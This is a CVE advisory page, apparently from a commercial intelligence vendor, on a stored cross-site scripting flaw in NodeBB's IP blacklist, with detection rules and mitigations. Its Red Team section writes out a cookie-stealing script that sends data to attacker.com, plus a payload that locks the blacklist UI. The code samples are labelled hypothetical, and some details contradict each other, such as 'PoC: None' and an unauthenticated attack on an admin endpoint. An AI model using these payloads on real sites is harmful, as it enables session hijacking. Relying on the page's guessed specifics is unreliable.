☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2025-29512

CVE-2025-29512 Cross-Site Scripting in Nodebb
📅 PUBLISHED: 2025-04-18 00:00 UTC 🔄 UPDATED: 2026-09-23 20:28 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.29%
👁️
0.29% probability
7.2× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
Country: Canada License: Open Source
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
6.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-29512 is a stored Cross-Site Scripting (XSS) vulnerability affecting NodeBB versions 4.0.4 and earlier. An unauthenticated remote attacker can inject arbitrary JavaScript code into the application’s database. This stored payload executes in the context of any user viewing the affected content, including administrators. A critical secondary impact is the ability to render the IP blacklist functionality unusable until the malicious content is manually removed from the database. This vulnerability poses a high risk to forum confidentiality, integrity, and availability.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

NodeBB is an open-source Node.js forum software distributed via npm. The vulnerability exists in the core application code, not in a third-party dependency. However, the lack of a published patch or advisory on the official npm registry or GitHub repository increases supply chain risk. Organizations relying on NodeBB must monitor for updates and consider temporary mitigations.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, indicating insufficient data for a complete vector. Based on the vulnerability characteristics, a reasonable estimated vector is:

  • Attack Vector (AV): Network (N)
  • Attack Complexity (AC): Low (L)
  • Privileges Required (PR): None (N)
  • User Interaction (UI): Required (R) – victim must view the malicious content
  • Scope (S): Changed (C) – attacker can impact assets beyond the vulnerable component
  • Confidentiality (C): Low (L)
  • Integrity (I): Low (L)
  • Availability (A): Low (L)

Estimated CVSS:3.1 Score: 6.1 (Medium)

Threat Level: High – due to the ability to disrupt the IP blacklist feature and execute arbitrary JavaScript in the admin context.

Deep Dive & Mechanics

The vulnerability resides in how NodeBB handles user-generated content before storing it in the database. The application fails to properly sanitize or encode input fields that are later rendered in the admin panel’s IP blacklist management interface.

Attack Flow:

  1. An attacker identifies an input field that is stored and later displayed in the IP blacklist section (e.g., a custom IP note or reason field).
  2. The attacker submits a payload such as <script>alert('XSS')</script> or a more sophisticated payload that manipulates the blacklist UI.
  3. The payload is stored in the database without sanitization.
  4. When an administrator views the IP blacklist page, the script executes in their browser.
  5. The attacker can then:
    • Steal session cookies.
    • Perform actions on behalf of the admin (e.g., add/remove bans).
    • Inject JavaScript that prevents the admin from removing the malicious entry, effectively rendering the blacklist unusable.

Root Cause: Lack of output encoding and input validation in the IP blacklist management module.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code pattern is described generically.

Vulnerable Code (NodeBB <= 4.0.4):

// routes/admin.js (hypothetical)
app.get('/admin/blacklist', (req, res) => {
    const entries = db.getBlacklistEntries();
    res.render('admin/blacklist', { entries: entries });
});
<!-- templates/admin/blacklist.tpl (hypothetical) -->
<ul>
    {{#each entries}}
        <li>{{this.reason}}</li>  <!-- No escaping -->
    {{/each}}
</ul>

Patched Code (Expected Fix):

// routes/admin.js (patched)
app.get('/admin/blacklist', (req, res) => {
    const entries = db.getBlacklistEntries();
    // Sanitize each entry before rendering
    const sanitizedEntries = entries.map(entry => ({
        ...entry,
        reason: sanitizeHtml(entry.reason)
    }));
    res.render('admin/blacklist', { entries: sanitizedEntries });
});
<!-- templates/admin/blacklist.tpl (patched) -->
<ul>
    {{#each entries}}
        <li>{{escape(this.reason)}}</li>  <!-- Proper escaping -->
    {{/each}}
</ul>

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • NodeBB instance (version <= 4.0.4) with IP blacklist feature enabled.
  • Network access to the forum.

Step-by-Step Exploit:

  1. Identify the input field for adding an IP to the blacklist (e.g., /admin/blacklist).
  2. Submit a POST request with a malicious payload in the reason field:
    POST /admin/blacklist/add HTTP/1.1
    Host: target-nodebb.com
    Content-Type: application/x-www-form-urlencoded
    
    ip=192.168.1.1&reason=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
    
  3. Wait for an administrator to visit the blacklist page.
  4. The script executes, exfiltrating the admin’s session cookie.

Advanced Payload (Disable Blacklist UI):

<script>
    // Override the remove button functionality
    document.querySelectorAll('.remove-btn').forEach(btn => {
        btn.addEventListener('click', function(e) {
            e.preventDefault();
            alert('Blacklist is locked!');
        });
    });
</script>

Blue Team (Detection & Hardening)

Detection:

  • Monitor for unusual POST requests to /admin/blacklist/add containing HTML/JavaScript in the reason parameter.
  • Look for outbound connections to unknown domains from the NodeBB server (potential data exfiltration).

Hardening (Temporary Mitigation):

  • Implement a reverse proxy (e.g., Nginx) to filter malicious input:
    location /admin/blacklist {
        if ($request_body ~* "<script") {
            return 403;
        }
    }
    
  • Disable the IP blacklist feature until a patch is applied.
  • Use Content Security Policy (CSP) headers to restrict script execution:
    Content-Security-Policy: default-src 'self'; script-src 'none';
    

Indicators of Compromise (IOCs)

  • Network IOCs:
    • POST requests to /admin/blacklist/add with reason parameter containing <script> tags.
    • Outbound HTTP/HTTPS connections to attacker-controlled domains from the NodeBB server.
  • File IOCs:
    • Database entries in the blacklist collection containing unescaped HTML/JavaScript.
  • Behavioral IOCs:
    • Admin users unable to remove IP blacklist entries.
    • Unexpected pop-ups or redirects when accessing the admin panel.

Detection Engineering

YARA Rule

rule detect_nodebb_xss_payload {
    meta:
        description = "Detects stored XSS payloads targeting NodeBB IP blacklist"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-29512"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/si
        $xss2 = /on\w+\s*=\s*["']?[^"'\s>]+/si
        $xss3 = /javascript\s*:/si
    condition:
        any of them
}

Sigma Rule

title: NodeBB Stored XSS in IP Blacklist
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit CVE-2025-29512 by injecting XSS payloads into the IP blacklist reason field.
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: nginx
detection:
    selection:
        c-uri|contains: "/admin/blacklist/add"
        cs-method: "POST"
        cs-uri-query|contains: 
            - "<script"
            - "onerror="
            - "javascript:"
    condition: selection
falsepositives:
    - Legitimate use of HTML in reason field (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-29512 NodeBB Stored XSS Payload in IP Blacklist";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/admin/blacklist/add"; http_uri;
    content:"reason="; http_client_body;
    pcre:"/<script[^>]*>.*?<\/script>/i";
    sid:10000001;
    rev:1;
    reference:cve,2025-29512;
    classtype:web-application-attack;
)

Remediation & Mitigation

Immediate Actions:

  1. Disable IP Blacklist Feature: Temporarily disable the IP blacklist functionality in the admin panel to prevent exploitation.
  2. Implement Input Validation: Add server-side validation to reject any input containing HTML tags or JavaScript in the reason field.
  3. Apply Output Encoding: Ensure all user-supplied data is properly escaped before rendering in the admin panel.

Long-Term Fix:

  • Apply the official patch once released by NodeBB.
  • Upgrade to a patched version (e.g., 4.0.5 or later).
  • Conduct a security audit of all user input handling in the application.

Workaround:

  • Use a Web Application Firewall (WAF) to block XSS payloads.
  • Restrict admin panel access to trusted IP addresses only.

Valters IT

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-29512/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.